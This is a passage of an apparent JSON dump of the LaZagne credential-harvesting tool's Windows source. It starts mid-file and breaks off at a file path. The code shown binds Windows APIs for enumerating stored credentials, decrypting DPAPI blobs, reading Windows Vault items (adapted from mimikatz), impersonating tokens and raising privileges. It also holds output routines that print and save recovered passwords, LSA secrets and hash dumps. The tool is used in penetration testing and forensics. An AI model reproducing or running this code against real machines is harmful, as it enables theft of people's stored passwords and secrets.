FILETIME),\r\n        ('Flags', DWORD),\r\n        ('cbProperties', DWORD),\r\n        ('Properties', PVAULT_ITEM_DATA),\r\n    ]\r\n\r\n\r\nPVAULT_ITEM_WIN8 = POINTER(VAULT_ITEM_WIN8)\r\n\r\n\r\n# From https://github.com/gentilkiwi/mimikatz/blob/b008188f9fe5668b5dae80c210290c7efa872ffa/mimikatz/modules/kuhl_m_vault.h#L145\r\nclass VAULT_ITEM_WIN7(Structure):\r\n  _fields_ = [\r\n      ('id',              GUID),\r\n      ('pName',           PWSTR),\r\n      ('pResource',       PVAULT_ITEM_DATA),\r\n      ('pUsername',       PVAULT_ITEM_DATA),\r\n      ('pPassword',       PVAULT_ITEM_DATA),\r\n      ('LastWritten',     FILETIME),\r\n      ('Flags',           DWORD),\r\n      ('cbProperties',    DWORD),\r\n      ('Properties',      PVAULT_ITEM_DATA),\r\n  ]\r\n\r\n\r\nPVAULT_ITEM_WIN7 = POINTER(VAULT_ITEM_WIN7)\r\n\r\nclass OSVERSIONINFOEXW(Structure):\r\n    _fields_ = [\r\n        ('dwOSVersionInfoSize', c_ulong),\r\n        ('dwMajorVersion', c_ulong),\r\n        ('dwMinorVersion', c_ulong),\r\n        ('dwBuildNumber', c_ulong),\r\n        ('dwPlatformId', c_ulong),\r\n        ('szCSDVersion', c_wchar * 128),\r\n        ('wServicePackMajor', c_ushort),\r\n        ('wServicePackMinor', c_ushort),\r\n        ('wSuiteMask', c_ushort),\r\n        ('wProductType', c_byte),\r\n        ('wReserved', c_byte)\r\n    ]\r\n\r\n\r\nclass CRYPTPROTECT_PROMPTSTRUCT(Structure):\r\n    _fields_ = [\r\n        ('cbSize', DWORD),\r\n        ('dwPromptFlags', DWORD),\r\n        ('hwndApp', HWND),\r\n        ('szPrompt', LPCWSTR),\r\n    ]\r\n\r\n\r\nPCRYPTPROTECT_PROMPTSTRUCT = POINTER(CRYPTPROTECT_PROMPTSTRUCT)\r\n\r\n\r\nclass LUID(Structure):\r\n    _fields_ = [\r\n        (\"LowPart\", DWORD),\r\n        (\"HighPart\", LONG),\r\n    ]\r\n\r\n\r\nPLUID = POINTER(LUID)\r\n\r\n\r\nclass SID_AND_ATTRIBUTES(Structure):\r\n    _fields_ = [\r\n        (\"Sid\", PSID),\r\n        (\"Attributes\", DWORD),\r\n    ]\r\n\r\n\r\nclass TOKEN_USER(Structure):\r\n    _fields_ = [\r\n        (\"User\", SID_AND_ATTRIBUTES), ]\r\n\r\n\r\nclass LUID_AND_ATTRIBUTES(Structure):\r\n    _fields_ = [\r\n        (\"Luid\", LUID),\r\n        (\"Attributes\", DWORD),\r\n    ]\r\n\r\n\r\nclass TOKEN_PRIVILEGES(Structure):\r\n    _fields_ = [\r\n        (\"PrivilegeCount\", DWORD),\r\n        (\"Privileges\", LUID_AND_ATTRIBUTES),\r\n    ]\r\n\r\n\r\nPTOKEN_PRIVILEGES = POINTER(TOKEN_PRIVILEGES)\r\n\r\n\r\nclass SECURITY_ATTRIBUTES(Structure):\r\n    _fields_ = [\r\n        (\"nLength\", DWORD),\r\n        (\"lpSecurityDescriptor\", LPVOID),\r\n        (\"bInheritHandle\", BOOL),\r\n    ]\r\n\r\n\r\nPSECURITY_ATTRIBUTES = POINTER(SECURITY_ATTRIBUTES)\r\n\r\n\r\nclass SID_NAME_USE(DWORD):\r\n    _sid_types = dict(enumerate('''\r\n        User Group Domain Alias WellKnownGroup DeletedAccount\r\n        Invalid Unknown Computer Label'''.split(), 1))\r\n\r\n    def __init__(self, value=None):\r\n        if value is not None:\r\n            if value not in self.sid_types:\r\n                raise ValueError('invalid SID type')\r\n            DWORD.__init__(value)\r\n\r\n    def __str__(self):\r\n        if self.value not in self._sid_types:\r\n            raise ValueError('invalid SID type')\r\n        return self._sid_types[self.value]\r\n\r\n    def __repr__(self):\r\n        return 'SID_NAME_USE(%s)' % self.value\r\n\r\n\r\nPSID_NAME_USE = POINTER(SID_NAME_USE)\r\n\r\n# ############################# Load dlls ##############################\r\n\r\nadvapi32 = WinDLL('advapi32', use_last_error=True)\r\ncrypt32 = WinDLL('crypt32', use_last_error=True)\r\nkernel32 = WinDLL('kernel32', use_last_error=True)\r\npsapi = WinDLL('psapi', use_last_error=True)\r\nntdll = WinDLL('ntdll', use_last_error=True)\r\n\r\n# ############################# Functions ##############################\r\n\r\nRevertToSelf = advapi32.RevertToSelf\r\nRevertToSelf.restype = BOOL\r\nRevertToSelf.argtypes = []\r\n\r\nImpersonateLoggedOnUser = advapi32.ImpersonateLoggedOnUser\r\nImpersonateLoggedOnUser.restype = BOOL\r\nImpersonateLoggedOnUser.argtypes = [HANDLE]\r\n\r\nDuplicateTokenEx = advapi32.DuplicateTokenEx\r\nDuplicateTokenEx.restype = BOOL\r\nDuplicateTokenEx.argtypes = [HANDLE, DWORD, PSECURITY_ATTRIBUTES, DWORD, DWORD, POINTER(HANDLE)]\r\n\r\nAdjustTokenPrivileges = advapi32.AdjustTokenPrivileges\r\nAdjustTokenPrivileges.restype = BOOL\r\nAdjustTokenPrivileges.argtypes = [HANDLE, BOOL, PTOKEN_PRIVILEGES, DWORD, PTOKEN_PRIVILEGES, POINTER(DWORD)]\r\n\r\nLookupPrivilegeValueA = advapi32.LookupPrivilegeValueA\r\nLookupPrivilegeValueA.restype = BOOL\r\nLookupPrivilegeValueA.argtypes = [LPCTSTR, LPCTSTR, PLUID]\r\n\r\nConvertSidToStringSid = advapi32.ConvertSidToStringSidW\r\nConvertSidToStringSid.restype = BOOL\r\nConvertSidToStringSid.argtypes = [DWORD, POINTER(LPWSTR)]\r\n\r\nLookupAccountSid = advapi32.LookupAccountSidW\r\nLookupAccountSid.restype = BOOL\r\nLookupAccountSid.argtypes = [LPCWSTR, PSID, LPCWSTR, LPDWORD, LPCWSTR, LPDWORD, PSID_NAME_USE]\r\n\r\nLocalAlloc = kernel32.LocalAlloc\r\nLocalAlloc.restype = HANDLE\r\nLocalAlloc.argtypes = [PSID, DWORD]\r\n\r\nGetTokenInformation = advapi32.GetTokenInformation\r\nGetTokenInformation.restype = BOOL\r\nGetTokenInformation.argtypes = [HANDLE, DWORD, LPVOID, DWORD, POINTER(DWORD)]\r\n\r\nOpenProcess = kernel32.OpenProcess\r\nOpenProcess.restype = HANDLE\r\nOpenProcess.argtypes = [DWORD, BOOL, DWORD]\r\n\r\nOpenProcessToken = advapi32.OpenProcessToken\r\nOpenProcessToken.restype = BOOL\r\nOpenProcessToken.argtypes = [HANDLE, DWORD, POINTER(HANDLE)]\r\n\r\nCloseHandle = kernel32.CloseHandle\r\nCloseHandle.restype = BOOL\r\nCloseHandle.argtypes = [HANDLE]\r\n\r\nCredEnumerate = advapi32.CredEnumerateA\r\nCredEnumerate.restype = BOOL\r\nCredEnumerate.argtypes = [LPCTSTR, DWORD, POINTER(DWORD), POINTER(POINTER(PCREDENTIAL))]\r\n\r\nCredFree = advapi32.CredFree\r\nCredFree.restype = PVOID\r\nCredFree.argtypes = [PVOID]\r\n\r\nLocalFree = kernel32.LocalFree\r\nLocalFree.restype = HANDLE\r\nLocalFree.argtypes = [HANDLE]\r\n\r\nCryptUnprotectData = crypt32.CryptUnprotectData\r\nCryptUnprotectData.restype = BOOL\r\nCryptUnprotectData.argtypes = [POINTER(DATA_BLOB), POINTER(LPWSTR), POINTER(DATA_BLOB), PVOID,\r\n                               PCRYPTPROTECT_PROMPTSTRUCT, DWORD, POINTER(DATA_BLOB)]\r\n\r\n# these functions do not exist on XP workstations\r\ntry:\r\n    prototype = WINFUNCTYPE(ULONG, DWORD, LPDWORD, POINTER(LPGUID))\r\n    vaultEnumerateVaults = prototype((\"VaultEnumerateVaults\", windll.vaultcli))\r\n\r\n    prototype = WINFUNCTYPE(ULONG, LPGUID, DWORD, HANDLE)\r\n    vaultOpenVault = prototype((\"VaultOpenVault\", windll.vaultcli))\r\n\r\n    prototype = WINFUNCTYPE(ULONG, HANDLE, DWORD, LPDWORD, POINTER(c_char_p))\r\n    vaultEnumerateItems = prototype((\"VaultEnumerateItems\", windll.vaultcli))\r\n\r\n    prototype = WINFUNCTYPE(ULONG, HANDLE, LPGUID, PVAULT_ITEM_DATA, PVAULT_ITEM_DATA, PVAULT_ITEM_DATA, HWND, DWORD,\r\n                            POINTER(PVAULT_ITEM_WIN8))\r\n    vaultGetItem8 = prototype((\"VaultGetItem\", windll.vaultcli))\r\n\r\n    prototype = WINFUNCTYPE(ULONG, HANDLE, LPGUID, PVAULT_ITEM_DATA, PVAULT_ITEM_DATA, HWND, DWORD, POINTER(PVAULT_ITEM_WIN7))\r\n    vaultGetItem7 = prototype((\"VaultGetItem\", windll.vaultcli))\r\n\r\n    prototype = WINFUNCTYPE(ULONG, LPVOID)\r\n    vaultFree = prototype((\"VaultFree\", windll.vaultcli))\r\n\r\n    prototype = WINFUNCTYPE(ULONG, PHANDLE)\r\n    vaultCloseVault = prototype((\"VaultCloseVault\", windll.vaultcli))\r\n\r\n    def get_vault_objects_for_this_version_of_windows():\r\n        \"\"\"\r\n        @return: Tuple[\r\n                        Type of vault item,\r\n                        Pointer to type of vault item,\r\n                        VaultGetItem function as Callable[[vault_handle, vault_item_prt, password_vault_item_ptr], int]\r\n                       ]\r\n        \"\"\"\r\n        os_version_float = float(get_os_version())\r\n        if os_version_float == 6.1:\r\n            #  Windows 7\r\n            return (\r\n                VAULT_ITEM_WIN7,\r\n                PVAULT_ITEM_WIN7,\r\n                lambda hVault, pVaultItem, pPasswordVaultItem:\r\n                        vaultGetItem7(hVault, byref(pVaultItem.id), pVaultItem.pResource, pVaultItem.pUsername,\r\n                                      None, 0, byref(pPasswordVaultItem))\r\n            )\r\n        elif os_version_float > 6.1:\r\n            #  Later than Windows7\r\n            return (\r\n                VAULT_ITEM_WIN8,\r\n                PVAULT_ITEM_WIN8,\r\n                lambda hVault, pVaultItem, pPasswordVaultItem:\r\n                        vaultGetItem8(hVault, byref(pVaultItem.id), pVaultItem.pResource, pVaultItem.pUsername,\r\n                                      pVaultItem.pPackageSid,  # additional parameter compared to Windows 7\r\n                                      None, 0, byref(pPasswordVaultItem))\r\n            )\r\n\r\n        raise Exception(\"Vault is not supported for this version of OS\")\r\n\r\nexcept Exception:\r\n    pass\r\n\r\nGetModuleFileNameEx = psapi.GetModuleFileNameExW\r\nGetModuleFileNameEx.restype = DWORD\r\nGetModuleFileNameEx.argtypes = [HANDLE, HMODULE, LPWSTR, DWORD]\r\n\r\n\r\n# ############################# Custom functions ##############################\r\n\r\n\r\ndef EnumProcesses():\r\n    _EnumProcesses = psapi.EnumProcesses\r\n    _EnumProcesses.argtypes = [LPVOID, DWORD, LPDWORD]\r\n    _EnumProcesses.restype = bool\r\n\r\n    size = 0x1000\r\n    cbBytesReturned = DWORD()\r\n    unit = sizeof(DWORD)\r\n    dwOwnPid = os.getpid()\r\n    while 1:\r\n        ProcessIds = (DWORD * (size // unit))()\r\n        cbBytesReturned.value = size\r\n        _EnumProcesses(byref(ProcessIds), cbBytesReturned, byref(cbBytesReturned))\r\n        returned = cbBytesReturned.value\r\n        if returned < size:\r\n            break\r\n        size = size + 0x1000\r\n    ProcessIdList = list()\r\n    for ProcessId in ProcessIds:\r\n        if ProcessId is None:\r\n            break\r\n        if ProcessId == dwOwnPid:\r\n            continue\r\n        ProcessIdList.append(ProcessId)\r\n    return ProcessIdList\r\n\r\n\r\ndef LookupAccountSidW(lpSystemName, lpSid):\r\n    # From https://github.com/MarioVilas/winappdbg/blob/master/winappdbg/win32/advapi32.py\r\n    _LookupAccountSidW = advapi32.LookupAccountSidW\r\n    _LookupAccountSidW.argtypes = [LPSTR, PSID, LPWSTR, LPDWORD, LPWSTR, LPDWORD, LPDWORD]\r\n    _LookupAccountSidW.restype = BOOL\r\n\r\n    ERROR_INSUFFICIENT_BUFFER = 122\r\n    cchName = DWORD(0)\r\n    cchReferencedDomainName = DWORD(0)\r\n    peUse = DWORD(0)\r\n    success = _LookupAccountSidW(lpSystemName, lpSid, None, byref(cchName), None, byref(cchReferencedDomainName),\r\n                                 byref(peUse))\r\n    error = GetLastError()\r\n    if not success or error == ERROR_INSUFFICIENT_BUFFER:\r\n        lpName = create_unicode_buffer(u'', cchName.value + 1)\r\n        lpReferencedDomainName = create_unicode_buffer(u'', cchReferencedDomainName.value + 1)\r\n        success = _LookupAccountSidW(lpSystemName, lpSid, lpName, byref(cchName), lpReferencedDomainName,\r\n                                     byref(cchReferencedDomainName), byref(peUse))\r\n        if success:\r\n            return lpName.value, lpReferencedDomainName.value, peUse.value\r\n\r\n    return None, None, None\r\n\r\n\r\ndef QueryFullProcessImageNameW(hProcess, dwFlags=0):\r\n    _QueryFullProcessImageNameW = kernel32.QueryFullProcessImageNameW\r\n    _QueryFullProcessImageNameW.argtypes = [HANDLE, DWORD, LPWSTR, POINTER(DWORD)]\r\n    _QueryFullProcessImageNameW.restype = bool\r\n    ERROR_INSUFFICIENT_BUFFER = 122\r\n\r\n    dwSize = MAX_PATH\r\n    while 1:\r\n        lpdwSize = DWORD(dwSize)\r\n        lpExeName = create_unicode_buffer('', lpdwSize.value + 1)\r\n        success = _QueryFullProcessImageNameW(hProcess, dwFlags, lpExeName, byref(lpdwSize))\r\n        if success and 0 < lpdwSize.value < dwSize:\r\n            break\r\n        error = GetLastError()\r\n        if error != ERROR_INSUFFICIENT_BUFFER:\r\n            return False\r\n        dwSize = dwSize + 256\r\n        if dwSize > 0x1000:\r\n            # this prevents an infinite loop in Windows 2008 when the path has spaces,\r\n            # see http://msdn.microsoft.com/en-us/library/ms684919(VS.85).aspx#4\r\n            return False\r\n    return lpExeName.value\r\n\r\n\r\ndef RtlAdjustPrivilege(privilege_id):\r\n    \"\"\"\r\n    privilege_id: int\r\n    \"\"\"\r\n    _RtlAdjustPrivilege = ntdll.RtlAdjustPrivilege\r\n    _RtlAdjustPrivilege.argtypes = [ULONG, BOOL, BOOL, POINTER(BOOL)]\r\n    _RtlAdjustPrivilege.restype = LONG\r\n\r\n    Enable = True\r\n    CurrentThread = False  # enable for whole process\r\n    Enabled = BOOL()\r\n\r\n    status = _RtlAdjustPrivilege(privilege_id, Enable, CurrentThread, byref(Enabled))\r\n    if status != 0:\r\n        return False\r\n\r\n    return True\r\n\r\n\r\ndef getData(blobOut):\r\n    cbData = blobOut.cbData\r\n    pbData = blobOut.pbData\r\n    buffer = create_string_buffer(cbData)\r\n    memmove(buffer, pbData, sizeof(buffer))\r\n    LocalFree(pbData);\r\n    return buffer.raw\r\n\r\n\r\ndef get_full_path_from_pid(pid):\r\n    if pid:\r\n        filename = create_unicode_buffer(\"\", 256)\r\n        hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, int(pid))\r\n        if not hProcess:\r\n            return False\r\n\r\n        size = GetModuleFileNameEx(hProcess, None, filename, 256)\r\n        CloseHandle(hProcess)\r\n        if size:\r\n            return filename.value\r\n        else:\r\n            return False\r\n\r\n\r\npython_version = 2\r\nif sys.version_info[0]:\r\n    python_version = sys.version_info[0]\r\n\r\n\r\ndef Win32CryptUnprotectData(cipherText, entropy=False, is_current_user=True, user_dpapi=False):\r\n    if python_version == 2:\r\n        cipherText = str(cipherText)\r\n\r\n    decrypted = None\r\n\r\n    if is_current_user:\r\n        bufferIn = c_buffer(cipherText, len(cipherText))\r\n        blobIn = DATA_BLOB(len(cipherText), bufferIn)\r\n        blobOut = DATA_BLOB()\r\n\r\n        if entropy:\r\n            bufferEntropy = c_buffer(entropy, len(entropy))\r\n            blobEntropy = DATA_BLOB(len(entropy), bufferEntropy)\r\n\r\n            if CryptUnprotectData(byref(blobIn), None, byref(blobEntropy), None, None, 0, byref(blobOut)):\r\n                decrypted = getData(blobOut)\r\n\r\n        else:\r\n            if CryptUnprotectData(byref(blobIn), None, None, None, None, 0, byref(blobOut)):\r\n                decrypted = getData(blobOut)\r\n\r\n    if not decrypted:\r\n        can_decrypt = True\r\n        if not (user_dpapi and user_dpapi.unlocked):\r\n            from lazagne.config.dpapi_structure import are_masterkeys_retrieved\r\n            can_decrypt = are_masterkeys_retrieved()\r\n\r\n        if can_decrypt:\r\n            try:\r\n                decrypted = user_dpapi.decrypt_encrypted_blob(cipherText)\r\n            except:\r\n                # The encrypted blob cannot be parsed - weird (could happen with chrome v80)\r\n                return None\r\n            if decrypted is False:\r\n                decrypted = None\r\n        else:\r\n            # raise ValueError('MasterKeys not found')\r\n            pass\r\n\r\n    if not decrypted:\r\n        if not user_dpapi:\r\n            # raise ValueError('DPApi unavailable')\r\n            pass\r\n        elif not user_dpapi.unlocked:\r\n            # raise ValueError('DPApi locked')\r\n            pass\r\n\r\n    return decrypted\r\n\r\n\r\ndef get_os_version():\r\n    \"\"\"\r\n    return major anr minor version\r\n    https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832(v=vs.85).aspx\r\n    \"\"\"\r\n    os_version = OSVERSIONINFOEXW()\r\n    os_version.dwOSVersionInfoSize = sizeof(os_version)\r\n    retcode = windll.Ntdll.RtlGetVersion(byref(os_version))\r\n    if retcode != 0:\r\n        return False\r\n\r\n    return '%s.%s' % (str(os_version.dwMajorVersion.real), str(os_version.dwMinorVersion.real))\r\n\r\n\r\ndef isx64machine():\r\n    archi = os.environ.get(\"PROCESSOR_ARCHITEW6432\", '')\r\n    if '64' in archi:\r\n        return True\r\n\r\n    archi = os.environ.get(\"PROCESSOR_ARCHITECTURE\", '')\r\n    if '64' in archi:\r\n        return True\r\n\r\n    return False\r\n\r\n\r\ndef OpenKey(key, path, index=0, access=KEY_READ):\r\n    if isx64:\r\n        return winreg.OpenKey(key, path, index, access | winreg.KEY_WOW64_64KEY)\r\n    else:\r\n        return winreg.OpenKey(key, path, index, access)\r\n\r\n\r\nisx64 = isx64machine()\r\n\r\n\r\ndef string_to_unicode(string):\r\n    if python_version == 2:\r\n        return unicode(string)\r\n    else:\r\n        return string  # String on python 3 are already unicode\r\n\r\n\r\ndef chr_or_byte(integer):\r\n    if python_version == 2:\r\n        return chr(integer)\r\n    else:\r\n        return bytes([integer])  # Python 3\r\n\r\n\r\ndef int_or_bytes(integer):\r\n    if python_version == 2:\r\n        return integer\r\n    else:\r\n        return bytes([integer])  # Python 3\r\n\r\n\r\ndef char_to_int(string):\r\n    if python_version == 2 or isinstance(string, str):\r\n        return ord(string)\r\n    else:\r\n        return string  # Python 3\r\n\r\n\r\ndef convert_to_byte(string):\r\n    if python_version == 2:\r\n        return string\r\n    else:\r\n        return string.encode()  # Python 3\r\n"
  },
  {
    "path": "Windows/lazagne/config/write_output.py",
    "content": "# -*- coding: utf-8 -*-\nimport ctypes\nimport getpass\nimport json\nimport logging\nimport os\nimport socket\nimport sys\nimport traceback\n\nfrom time import gmtime, strftime\nfrom platform import uname\n\nfrom lazagne.config.users import get_username_winapi\nfrom lazagne.config.winstructure import string_to_unicode, char_to_int, chr_or_byte, python_version\nfrom .constant import constant\n\n# --------------------------- Standard output functions ---------------------------\n\nSTD_OUTPUT_HANDLE = -11\nstd_out_handle = ctypes.windll.kernel32.GetStdHandle(STD_OUTPUT_HANDLE)\ntmp_user = None\n\n\nclass StandardOutput(object):\n    def __init__(self):\n        self.banner = '''\n|====================================================================|\n|                                                                    |\n|                        The LaZagne Project                         |\n|                                                                    |\n|                          ! BANG BANG !                             |\n|                                                                    |\n|====================================================================|\n'''\n        self.FILTER = b''.join([((len(repr(chr_or_byte(x))) == 3 and python_version == 2) or\n                                 (len(repr(chr_or_byte(x))) == 4 and python_version == 3))\n                                and chr_or_byte(x) or b'.' for x in range(256)])\n\n    def set_color(self, color='white', intensity=False):\n        c = {'white': 0x07, 'red': 0x04, 'green': 0x02, 'cyan': 0x03}.get(color, None)\n\n        if intensity:\n            c |= 0x08\n\n        ctypes.windll.kernel32.SetConsoleTextAttribute(std_out_handle, c)\n\n    # print banner\n    def first_title(self):\n        self.do_print(message=self.banner, color='white', intensity=True)\n        # Python 3.7.3 on Darwin x86_64: i386\n        python_banner = 'Python {}.{}.{} on'.format(*sys.version_info) + \" {0} {4}: {5}\\n\".format(*uname())\n        self.print_logging(function=logging.debug, message=python_banner, prefix='[!]', color='white', intensity=True)\n\n    # info option for the logging\n    def print_title(self, title):\n        t = u'------------------- ' + title + ' passwords -----------------\\n'\n        self.do_print(message=t, color='white', intensity=True)\n\n    # debug option for the logging\n    def title_info(self, title):\n        t = u'------------------- ' + title + ' passwords -----------------\\n'\n        self.print_logging(function=logging.info, prefix='', message=t, color='white', intensity=True)\n\n    def print_user(self, user, force_print=False):\n        if logging.getLogger().isEnabledFor(logging.INFO) or force_print:\n            self.do_print(u'\\n########## User: {user} ##########\\n'.format(user=user))\n\n    def print_footer(self, elapsed_time=None):\n        footer = '\\n[+] %s passwords have been found.\\n' % str(constant.nb_password_found)\n        if not logging.getLogger().isEnabledFor(logging.INFO):\n            footer += 'For more information launch it again with the -v option\\n'\n        if elapsed_time:\n            footer += '\\nelapsed time = ' + str(elapsed_time)\n        self.do_print(footer)\n\n    def print_hex(self, src, length=8):\n        N = 0\n        result = b''\n        while src:\n            s, src = src[:length], src[length:]\n            hexa = b' '.join([b\"%02X\" % char_to_int(x) for x in s])\n            s = s.translate(self.FILTER)\n            result += b\"%04X   %-*s   %s\\n\" % (N, length * 3, hexa, s)\n            N += length\n        return result\n\n    def try_unicode(self, obj, encoding='utf-8'):\n        if python_version == 3:\n            try:\n                return obj.decode()\n            except Exception:\n                return obj\n        try:\n            if isinstance(obj, basestring):       # noqa: F821\n                if not isinstance(obj, unicode):  # noqa: F821\n                    obj = unicode(obj, encoding)  # noqa: F821\n        except UnicodeDecodeError:\n            return repr(obj)\n        return obj\n\n    # centralize print function\n    def do_print(self, message='', color=False, intensity=False):\n        # quiet mode => nothing is printed\n        if constant.quiet_mode:\n            return\n\n        message = self.try_unicode(message)\n        if color:\n            self.set_color(color=color, intensity=intensity)\n            self.print_without_error(message)\n            self.set_color()\n        else:\n            self.print_without_error(message)\n\n    def print_without_error(self, message):\n        try:\n            print(message.decode())\n        except Exception:\n            try:\n                print(message)\n            except Exception:\n                print(repr(message))\n\n    def print_logging(self, function, prefix='[!]', message='', color=False, intensity=False):\n        if constant.quiet_mode:\n            return\n\n        try:\n            msg = u'{prefix} {msg}'.format(prefix=prefix, msg=message)\n        except Exception:\n            msg = '{prefix} {msg}'.format(prefix=prefix, msg=str(message))\n\n        if color:\n            self.set_color(color, intensity)\n            function(msg)\n            self.set_color()\n        else:\n            function(msg)\n\n    def print_output(self, software_name, pwd_found):\n        if pwd_found:\n            # if the debug logging level is not apply => print the title\n            if not logging.getLogger().isEnabledFor(logging.INFO):\n                # print the username only if password have been found\n                user = constant.finalResults.get('User', '')\n                global tmp_user\n                if user != tmp_user:\n                    tmp_user = user\n                    self.print_user(user, force_print=True)\n\n                # if not title1:\n                self.print_title(software_name)\n\n            # Particular passwords representation\n            to_write = []\n            if software_name in ('Hashdump', 'Lsa_secrets', 'Mscache'):\n                pwds = pwd_found[1]\n                for pwd in pwds:\n                    self.do_print(pwd)\n                    if software_name == 'Lsa_secrets':\n                        hex_value = self.print_hex(pwds[pwd], length=16)\n                        to_write.append([pwd.decode(), hex_value.decode()])\n                        self.do_print(hex_value)\n                    else:\n                        to_write.append(pwd)\n                self.do_print()\n\n            # Other passwords\n            else:\n                # Remove duplicated password\n                pwd_found = [dict(t) for t in set([tuple(d.items()) for d in pwd_found])]\n\n                # Loop through all passwords found\n                for pwd in pwd_found:\n\n                    # Detect which kinds of password has been found\n                    pwd_lower_keys = {k.lower(): v for k, v in pwd.items()}\n                    for p in ('password', 'key', 'hash'):\n                        pwd_category = [s for s in pwd_lower_keys if p in s]\n                        if pwd_category:\n                            pwd_category = pwd_category[0]\n                            break\n\n                    write_it = False\n                    passwd = None\n                    try:\n                        passwd_str = pwd_lower_keys[pwd_category]\n                        # Do not print empty passwords\n                        if not passwd_str:\n                            continue\n\n                        passwd = string_to_unicode(passwd_str)\n                    except Exception:\n                        pass\n\n                    # No password found\n                    if not passwd:\n                        print_debug(\"FAILED\", u'Password not found !!!')\n                    else:\n                        constant.nb_password_found += 1\n                        write_it = True\n                        print_debug(\"OK\", u'{pwd_category} found !!!'.format(\n                            pwd_category=pwd_category.title()))\n\n                        # Store all passwords found on a table => for dictionary attack if master password set\n                        if passwd not in constant.password_found:\n                            constant.password_found.append(passwd)\n\n                    pwd_info = []\n                    for p in pwd:\n                        try:\n                            pwd_line = '%s: %s' % (p, pwd[p].decode())  # Manage bytes output (py 3)\n                        except Exception:\n                            pwd_line = '%s: %s' % (p, pwd[p])\n\n                        pwd_info.append(pwd_line)\n                        self.do_print(pwd_line)\n\n                    self.do_print()\n\n                    if write_it:\n                        to_write.append(pwd_info)\n\n            # write credentials into a text file\n            self.checks_write(to_write, software_name)\n        else:\n            print_debug(\"INFO\", \"No passwords found\\n\")\n\n    def write_header(self):\n        time = strftime(\"%Y-%m-%d %H:%M:%S\", gmtime())\n        try:\n            hostname = socket.gethostname().decode(sys.getfilesystemencoding())\n        except AttributeError:\n            hostname = socket.gethostname()\n\n        header = u'{banner}\\r\\n- Date: {date}\\r\\n- Username: {username}\\r\\n- Hostname:{hostname}\\r\\n\\r\\n'.format(\n            banner=self.banner.replace('\\n', '\\r\\n'),\n            date=str(time),\n            username=get_username_winapi(),\n            hostname=hostname\n        )\n        with open(os.path.join(constant.folder_name, '{}.txt'.format(constant.file_name_results)), \"ab+\") as f:\n            f.write(header.encode())\n\n    def write_footer(self):\n        footer = '\\n[+] %s passwords have been found.\\r\\n\\r\\n' % str(constant.nb_password_found)\n        open(os.path.join(constant.folder_name, '%s.txt' % constant.file_name_results), \"a+\").write(footer)\n\n    def checks_write(self, values, category):\n        if values:\n            if 'Passwords' not in constant.finalResults:\n                constant.finalResults['Passwords'] = []\n            constant.finalResults['Passwords'].append((category, values))\n\n\ndef print_debug(error_level, message):\n    # Quiet mode => nothing is printed\n    if constant.quiet_mode:\n        return\n\n    # print when password is found\n    if error_level == 'OK':\n        constant.st.do_print(message='[+] {message}'.format(message=message), color='green')\n\n    # print when password is not found\n    elif error_level == 'FAILED':\n        constant.st.do_print(message='[-] {message}'.format(message=message), color='red', intensity=True)\n\n    elif error_level == 'CRITICAL' or error_level == 'ERROR':\n        constant.st.print_logging(function=logging.error, prefix='[-]', message=message, color='red', intensity=True)\n\n    elif error_level == 'WARNING':\n        constant.st.print_logging(function=logging.warning, prefix='[!]', message=message, color='cyan')\n\n    elif error_level == 'DEBUG':\n        constant.st.print_logging(function=logging.debug, message=message, prefix='[!]')\n\n    else:\n        constant.st.print_logging(function=logging.info, message=message, prefix='[!]')\n\n# --------------------------- End of output functions ---------------------------\n\ndef json_to_string(json_string):\n    string = u''\n    try:\n        for json in json_string:\n            if json:\n                string += u'##################  User: {username} ################## \\r\\n'.format(username=json['User'])\n                if 'Passwords' not in json:\n                    string += u'\\r\\nNo passwords found for this user !\\r\\n\\r\\n'\n                else:\n                    for pwd_info in json['Passwords']:\n                        category, pwds_tab = pwd_info\n\n                        string += u'\\r\\n------------------- {category} -----------------\\r\\n'.format(\n                            category=category)\n\n                        if category.lower() in ('lsa_secrets', 'hashdump', 'cachedump'):\n                            for pwds in pwds_tab:\n                                if category.lower() == 'lsa_secrets':\n                                    for d in pwds:\n                                        string += u'%s\\r\\n' % (constant.st.try_unicode(d))\n                                else:\n                                    string += u'%s\\r\\n' % (constant.st.try_unicode(pwds))\n                        else:\n                            for pwds in pwds_tab:\n                                string += u'\\r\\nPassword found !!!\\r\\n'\n                                for pwd in pwds:\n                                    try:\n                                        name, value = pwd.split(':', 1)\n                                        string += u'%s: %s\\r\\n' % (\n                                            name.strip(), constant.st.try_unicode(value.strip()))\n                                    except Exception:\n                                        print_debug('DEBUG', traceback.format_exc())\n                        string += u'\\r\\n'\n    except Exception:\n        print_debug('ERROR', u'Error parsing the json results: {error}'.format(error=traceback.format_exc()))\n\n    return string\n\n\ndef write_in_file(result):\n    \"\"\"\n    Write output to file (json and txt files)\n    \"\"\"\n    if result:\n        if constant.output in ('json', 'all'):\n            try:\n                # Human readable Json format\n                pretty_json = json.dumps(result, sort_keys=True, indent=4, separators=(',', ': '), ensure_ascii=False)\n                with open(os.path.join(constant.folder_name, constant.file_name_results + '.json'), 'ab+') as f:\n                    f.write(pretty_json.encode())\n\n                constant.st.do_print(u'[+] File written: {file}'.format(\n                    file=os.path.join(constant.folder_name, constant.file_name_results + '.json'))\n                )\n            except Exception as e:\n                print_debug('DEBUGG', traceback.format_exc())\n\n        if constant.output in ('txt', 'all'):\n            try:\n                with open(os.path.join(constant.folder_name, constant.file_name_results + '.txt'), 'ab+') as f:\n                    a = json_to_string(result)\n                    f.write(a.encode())\n\n                constant.st.write_footer()\n                constant.st.do_print(u'[+] File written: {file}'.format(\n                    file=os.path.join(constant.folder_name, constant.file_name_results + '.txt'))\n                )\n            except Exception as e:\n                print_debug('DEBUG', traceback.format_exc())\n"
  },
  {
    "path": "Windows/lazagne/softwares/__init__.py",
    "content": ""
  },
  {
    "path": "Windows/lazagne/softwares/browsers/__init__.py",
    "content": ""
  },
  {
    "path": "Windows/lazagne/softwares/browsers/chromium_based.py",
